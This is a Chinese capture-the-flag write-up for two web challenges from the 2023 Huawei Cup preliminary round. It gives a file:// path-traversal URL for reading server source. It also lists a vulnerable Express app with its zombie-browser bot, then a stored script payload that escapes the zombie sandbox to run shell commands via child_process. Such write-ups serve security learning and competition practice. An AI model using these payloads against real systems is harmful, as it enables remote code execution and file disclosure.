[2023华为杯初赛WP]easyeval+startschool

希望下次可以碰JAVA了🙏

easyeval

首先用file协议读出dasdjf.php源码,file://localhost/../../../../../var/www/html/dasdjf.php

dasdjf.php中有eval可以执行system,虽然不能用cat,但读到flag的方式太多了。

startschool

给了源码

data_path = "data.html";

//主页
app.get('/', function(req, res) {
	res.sendFile(path.join(__dirname, 'public/index.html'));
});


app.post('/do', function(req, res) {
	fs.writeFile('data.html'," 姓名:"+req.body.name+"<br\> 年龄:"+req.body.age+"<br\> 专业:"+req.body.subject+"<br\> 邮箱:"+req.body.mail+"\n",function(error){
		console.log("wriet error")
	});
	bot.visit();
	res.send("<script>alert('提交成功');window.location.href = '/';</script>");
});


app.route('/view')
  .get(function(req, res) {
    res.sendFile(path.join(__dirname, data_path));
  })
  .post(function(req, res) {
	fs.writeFile('data.html'," 姓名:"+req.body.name+"<br\> 年龄:"+req.body.age+"<br\> 专业:"+req.body.subject+"<br\> 邮箱:"+req.body.mail+"\n",function(error){
		console.log("write error")
	});
    res.redirect('/view');
  });

view和do的POST可以写信息到data.html,view的GET可以将其展示,此外do还会让让bot去访问view。bot的代码如下

const zombie = require("zombie")

exports.visit = async function () {
    const browser = new zombie ({
        waitDuration: 5*1000,
        localAddress: 0 
   })

    browser.setCookie({ name: 'admin', domain: '127.0.0.1', path:'/', httpOnly: 'true'})

    browser.visit("http://127.0.0.1/view",function() {
        console.log("Visited: ", "http://127.0.0.1/view")
})    
}

因为对输入没有过滤,所以考虑怎么攻击这个bot。

搜了下,发现zombie有个沙箱绕过可以RCE,参考链接:node漏洞。虽然原理不太清楚,但知道了执行命令的payload:this.__proto__.constructor.constructor('return process')().mainModule.require('child_process').execSync('calc')

环境出不了网,就吧命令执行的结果写到data.html里面。payload:

<script>let r=this.__proto__.constructor.constructor('return process')().mainModule.require('child_process').execSync('ls /').toString();this.__proto__.constructor.constructor('return process')().mainModule.require('child_process').execSync(`echo "${r}" >> public/index.html`);</script>

表单提交,然后GET访问/view就可以了